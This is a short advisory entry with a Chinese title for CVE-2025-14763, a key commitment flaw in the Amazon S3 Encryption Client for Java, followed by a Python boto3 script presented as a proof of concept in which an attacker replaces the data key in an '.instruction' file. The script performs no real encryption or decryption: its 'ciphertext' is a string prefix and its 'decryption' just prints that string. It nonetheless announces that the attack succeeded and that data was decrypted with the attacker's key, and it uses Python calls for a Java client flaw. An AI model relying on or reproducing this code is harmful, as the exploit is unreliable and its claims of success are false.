CVE-2025-14763 Amazon S3加密客户端Java版密钥承诺缺失漏洞

# CVE-2025-14763 PoC - Amazon S3 Encryption Client Key Commitment Bypass # This PoC demonstrates the key commitment issue when EDK is stored in instruction file import boto3 from botocore.config import Config class CVE2025_14763_PoC: def __init__(self, bucket_name, region='us-east-1'): self.bucket_name = bucket_name self.s3_client = boto3.client('s3', region_name=region, config=Config(signature_version='s3v4')) def simulate_victim_upload(self, object_key, plaintext_data): """ Step 1: Victim encrypts and uploads sensitive data EDK is stored in instruction file (object_key + '.instruction') """ print(f"[Victim] Encrypting and uploading: {object_key}") print(f"[Victim] Original plaintext: {plaintext_data}") # Original encryption would use S3EncryptionClient # For demonstration, simulate EDK generation original_edk = 'original_encrypted_data_key_12345' # Upload encrypted object encrypted_data = f"encrypted_{plaintext_data}" self.s3_client.put_object(Bucket=self.bucket_name, Key=object_key, Body=encrypted_data.encode()) # Store EDK in instruction file (VULNERABLE LOCATION) instruction_key = f"{object_key}.instruction" self.s3_client.put_object(Bucket=self.bucket_name, Key=instruction_key, Body=original_edk.encode()) print(f"[Victim] EDK stored in instruction file: {instruction_key}") return original_edk def simulate_attacker_replace_edk(self, object_key, malicious_key): """ Step 2: Attacker with write access replaces EDK with their own key """ print(f"\n[Attacker] Replacing EDK in instruction file...") instruction_key = f"{object_key}.instruction" malicious_edk = f"malicious_key_for_decryption_{malicious_key}" # Replace the instruction file with attacker's EDK self.s3_client.put_object(Bucket=self.bucket_name, Key=instruction_key, Body=malicious_edk.encode()) print(f"[Attacker] Successfully replaced EDK with malicious key") print(f"[Attacker] Malicious EDK: {malicious_edk}") return malicious_edk def simulate_victim_download(self, object_key): """ Step 3: Victim downloads and decrypts - but gets attacker's controlled plaintext """ print(f"\n[Victim] Downloading and decrypting: {object_key}") # Get the object and instruction file response = self.s3_client.get_object(Bucket=self.bucket_name, Key=object_key) encrypted_data = response['Body'].read().decode() instruction_key = f"{object_key}.instruction" inst_response = self.s3_client.get_object(Bucket=self.bucket_name, Key=instruction_key) current_edk = inst_response['Body'].read().decode() print(f"[Victim] Retrieved EDK: {current_edk}") print(f"[Victim] Decrypted data: {encrypted_data}") print("[WARNING] Data decrypted with attacker's key - integrity compromised!") return encrypted_data def main(): poc = CVE2025_14763_PoC('vulnerable-bucket-name') # Simulate attack scenario poc.simulate_victim_upload('sensitive-data.txt', 'CONFIDENTIAL INFORMATION') poc.simulate_attacker_replace_edk('sensitive-data.txt', 'attacker_controlled_key') poc.simulate_victim_download('sensitive-data.txt') print("\n[!] Attack successful: EDK in instruction file was replaced without detection") print("[!] Fix: Upgrade to Amazon S3 Encryption Client for Java v4.0.0+") if __name__ == '__main__': main()